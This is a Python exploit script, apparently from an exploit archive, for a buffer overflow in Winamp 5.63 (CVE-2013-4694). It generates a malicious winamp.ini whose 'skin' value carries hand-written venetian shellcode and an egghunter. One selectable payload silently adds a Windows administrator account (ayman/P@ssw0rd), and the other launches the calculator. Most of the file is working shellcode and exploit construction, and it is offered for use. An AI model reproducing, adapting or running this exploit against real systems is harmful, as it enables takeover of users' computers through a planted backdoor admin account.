# Exploit Title: winampevilskin.py # Date: 25 August 2013 # Exploit Author: Ayman Sagy <aymansagy@gmail.com> # Vendor Homepage: http://www.winamp.com/ # Version: 5.63 # Tested on: Windows XP Professional SP3 Version 2002 # CVE : 2013-4694 # # Ayman Sagy <aymansagy@gmail.com> August 2013 # # This is an exploit for Bug #1 described in http://www.exploit-db.com/exploits/26558/ # Credit for discovering the vulnerability goes to Julien Ahrens from Inshell Security # # The exploit will generate a winamp.ini file that will cause winamp to run the payload upon startup # # # I tried an alpha3 encoded egghunter but could not fit it in a single buffer and unfortunately it did not work, it wrote an invalid address on the stack then tried to access it # If you can make it work or find a solution for ASLR/DEP please contact me # # So I wrote from scratch a venetian shellcode that will write the egghunter onto the stack then executes it # The egg and shellcode can be found in plain ASCII in memory # # Tested against Windows XP Pro SP3 # Note: If you add winamp as an exception to DEP the return address becomes 0x003100F0 instead of 0x003000F0 # run with Python 2.7 import sys, getopt, os def usage(): print('winampevilskin.py by Ayman Sagy <aymansagy@gmail.com>\n') print('Usage: python ' + sys.argv[0] + ' -p <payload>') print('Payload could be:') print('\t[user] to create new admin account ayman/P@ssw0rd') print('\t[calc] run calculator') print('for e.g.: python ' + sys.argv[0] + ' -p user') #appdata = os.environ['APPDATA'] # Windows add admin user: ayman P@ssw0rd scadduser = ( b"\xbf\xab\xd0\x9a\x5b\xda\xc7\xd9\x74\x24\xf4\x5a\x2b\xc9" + "\xb1\x45\x83\xc2\x04\x31\x7a\x11\x03\x7a\x11\xe2\x5e\x2c" + "\x72\xd2\xa0\xcd\x83\x85\x29\x28\xb2\x97\x4d\x38\xe7\x27" + "\x06\x6c\x04\xc3\x4a\x85\x9f\xa1\x42\xaa\x28\x0f\xb4\x85" + "\xa9\xa1\x78\x49\x69\xa3\x04\x90\xbe\x03\x35\x5b\xb3\x42" + "\x72\x86\x3c\x16\x2b\xcc\xef\x87\x58\x90\x33\xa9\x8e\x9e" + "\x0c\xd1\xab\x61\xf8\x6b\xb2\xb1\x51\xe7\xfc\x29\xd9\xaf" + "\xdc\x48\x0e\xac\x20\x02\x3b\x07\xd3\x95\xed\x59\x1c\xa4" + "\xd1\x36\x23\x08\xdc\x47\x64\xaf\x3f\x32\x9e\xd3\xc2\x45" + "\x65\xa9\x18\xc3\x7b\x09\xea\x73\x5f\xab\x3f\xe5\x14\xa7" + "\xf4\x61\x72\xa4\x0b\xa5\x09\xd0\x80\x48\xdd\x50\xd2\x6e" + "\xf9\x39\x80\x0f\x58\xe4\x67\x2f\xba\x40\xd7\x95\xb1\x63" + "\x0c\xaf\x98\xe9\xd3\x3d\xa7\x57\xd3\x3d\xa7\xf7\xbc\x0c" + "\x2c\x98\xbb\x90\xe7\xdc\x34\xdb\xa5\x75\xdd\x82\x3c\xc4" + "\x80\x34\xeb\x0b\xbd\xb6\x19\xf4\x3a\xa6\x68\xf1\x07\x60" + "\x81\x8b\x18\x05\xa5\x38\x18\x0c\xc6\xd3\x82\x81\x6d\x54" + "\x2e\xfe\x42\xc7\x90\x90\xf9\x73\xf1\x19\x72\x19\x83\xc1" + "\x15\x98\x0e\x63\xbb\x7a\x81\x23\x30\x08\x56\x94\xc4\x8a" + "\xb8\xfb\x69\x17\xfd\x23\x4f\xb1\xdd\x4d\xea\xc9\x3d\xfe" + "\x9b\x52\x5f\x92\x04\xe7\xf0\x1f\xba\x27\x4e\x84\x57\x41" + "\x3e\x2d\xd4\xe5\xcc\xcc\x6e\x69\x43\x7c\xae\x14\xda\xef" + "\xcf\xb8\x3c\xdf\x4e\x01\x79\x1f" ) # http://shell-storm.org/shellcode/files/shellcode-739.php sccalc = (b"\x31\xC9"+ # xor ecx,ecx "\x51"+ # push ecx "\x68\x63\x61\x6C\x63"+ # push 0x636c6163 "\x54"+ # push dword ptr esp "\xB8\xC7\x93\xC2\x77"+ # mov eax,0x77c293c7 "\xFF\xD0" ) if len(sys.argv) < 2: usage() exit(1) try: opts, args = getopt.getopt(sys.argv[1:],'p:') except getopt.GetoptError: usage() exit(1) for opt, arg in opts: if opt == '-p': if arg == 'user': shellcode = "aymnaymn" + "\x90" + "\x90" * 100 + scadduser + "\x90" * 89 elif arg == "calc": shellcode = "aymnaymn" + b"\x90" * 452 + b"\x90" + sccalc + b"\x90" * 23 else: print("Error: Invalid payload.\n") usage() sys.exit() #print(str(len(shellcode))) egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"+ "\xef\xb8\x61\x79\x6d\x6e\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7") sploit = ( # Unicode-friendly venetian egghunter writer # Setup Registers "\x50\x72\x50"+ # push eax twice "\x72" + # align "\x59\x72\x5f"+ # pop ecx pop edi "\x72" + "\x05\xc2\x02\x01"+ # 05 00020001 ADD EAX,1000200 "\x72"+ "\x2d\xc2\x01\x01"+ # 2D 00010001 SUB EAX,1000100 # EAX is now EAX+100 "\x72\x48"+ # dec eax 4 times "\x72\x48"+ "\x72\x48"+ "\x72\x48\x72"+ # Pave Ahead # write NOPs in locations that will stop later execution "\xc3\x86\xc2\x90"+ # C600 90 MOV BYTE PTR DS:[EAX],90 "\x72\x40\x72"+ # 40 INC EAX "\xc3\x86\xc2\x90"+ "\x72\x40\x72"+ "\xc3\x86\xc2\x90"+ "\x72\x40\x72"+ "\xc3\x86\xc2\x90"+ "\x72\x40\x72"+ "\xc3\x86\xc2\x90"+ "\x72\x40\x72"+ "\xc3\x86\xc2\x90"+ "\x72\x40\x72"+ "\xc3\x86\xc2\x90"+ "\x72\x40\x72"+ "\xc3\x86\xc2\x90"+ "\x72\x40\x72"+ "\xc3\x86\xc2\x90"+ "\x72\x40\x72"+ "\xc3\x86\xc2\x90"+ "\x72\x40\x72"+ "\xc3\x86\xc2\x90"+ "\x72\x40\x72"+ "\xc2\x91" # 91 XCHG EAX,ECX "\x72" + # align # Start writing egghunter shellcode, EGG = aymn "\xc3\x86\x66"+ "\x72\x40\x72"+ "\xc3\x86\xc2\x81"+ #81 "\x72\x40\x72"+ "\xc3\x86\xc3\x8a"+ #ca "\x72\x40\x72"+ "\xc3\x86\xc3\xbf"+ "\x72\x40\x72"+ "\xc3\x86\x0f"+ "\x72\x40\x72"+ "\xc3\x86\x42"+ # 42 "\x72\x40\x72"+ "\xc3\x86\x52"+ "\x72\x40\x72"+ "\xc3\x86\x6a"+ "\x72\x40\x72"+ "\xc3\x86\x02"+ "\x72\x40\x72"+ "\x34" * 4 + # Padding "\xc3\xb0\x30"+ # 0x003000F0 CALL EAX winamp.exe WinXP Pro SP3 # Note: If you add winamp as an exception to DEP the return address becomes 0x003100F0 instead of 0x003000F0 "\x72" "\xc3\x86\x58"+ #58 "\x72\x40\x72"+ "\xc3\x86\xc3\x8d"+ #cd "\x72\x40\x72"+ "\xc3\x86\x2e"+ #2e "\x72\x40\x72"+ "\xc3\x86\x3c"+ # 3c "\x72\x40\x72"+ "\xc3\x86\x05"+ # 5 "\x72\x40\x72"+ "\xc3\x86\x5a"+ "\x72\x40\x72"+ "\xc3\x86\x74"+ "\x72\x40\x72"+ "\xc3\x86\xc3\xaf"+ # ef "\x72\x40\x72"+ "\xc3\x86\xc2\xb8"+ "\x72\x40\x72"+ "\xc3\x86\x61"+ "\x72\x40\x72"+ "\xc3\x86\x79"+ "\x72\x40\x72"+ "\xc3\x86\x6d"+ "\x72\x40\x72"+ "\xc3\x86\x6e"+ "\x72\x40\x72"+ "\xc3\x86\xc2\x8b"+ "\x72\x40\x72"+ "\xc3\x86\xc3\xba"+ #fa "\x72\x40\x72"+ "\xc3\x86\xc2\xaf"+ # af "\x72\x40\x72"+ "\xc3\x86\x75"+ #75 "\x72\x40\x72"+ "\xc3\x86\xc3\xaa"+ #ea "\x72\x40\x72"+ "\xc3\x86\xc2\xaf"+ # af "\x72\x40\x72"+ "\xc3\x86\x75"+ #75 "\x72\x40\x72"+ "\xc3\x86\xc3\xa7"+ # e7 "\x72\x40\x72"+ "\xc3\x86\xc3\xbf"+ # ff "\x72\x40\x72"+ "\xc3\x86\xc3\xa7"+ # e7 "\x72"+ "\x57"+ # 57 PUSH EDI "\x72"+ # align "\xc3\x83"+ # C3 RETN "\x34" * 200 # Padding ) winamp = ("[Winamp]\r\nutf8=1\r\n" + "skin=" + sploit + "\r\n" "[WinampReg]\r\nIsFirstInst=0\r\nNeedReg=0\r\n" + "[in_wm]\r\nnumtypes=7\r\n" + "type0=WMA\r\ndescription0=Windows Media Audio File (*.WMA)\r\n" + "protocol0=0\r\navtype0=0\r\n" + "type1=WMV\r\ndescription1=Windows Media Video File (*.WMV)\r\n" + "protocol1=0\r\navtype1=1\r\ntype2=ASF\r\n" + "description2=Advanced Streaming Format (*.ASF)\r\n" + "protocol2=0\r\navtype2=1\r\ntype3=MMS://\r\n" + "description3=Windows Media Stream\r\nprotocol3=1\r\n" + "avtype3=1\r\ntype4=MMSU://\r\n" "description4=Windows Media Stream\r\nprotocol4=1\r\n" + "avtype4=1\r\ntype5=MMST://\r\n" + "description5=Windows Media Stream\r\nprotocol5=1\r\n" + "avtype5=1\r\ntype5=" + "\x90\x90\xe9\x0f" + "\r\ndescription6=" + shellcode + "\r\nprotocol6=0\r\navtype6=0\r\n") #f = open(appdata + "\Winamp\winamp.ini", "wb") or sys.exit("Error creating winamp.ini") f = open("winamp.ini", "wb") or sys.exit("Error creating winamp.ini") f.write(winamp) f.close() print("winamp.ini written, copy it into %APPDATA%\\Winamp")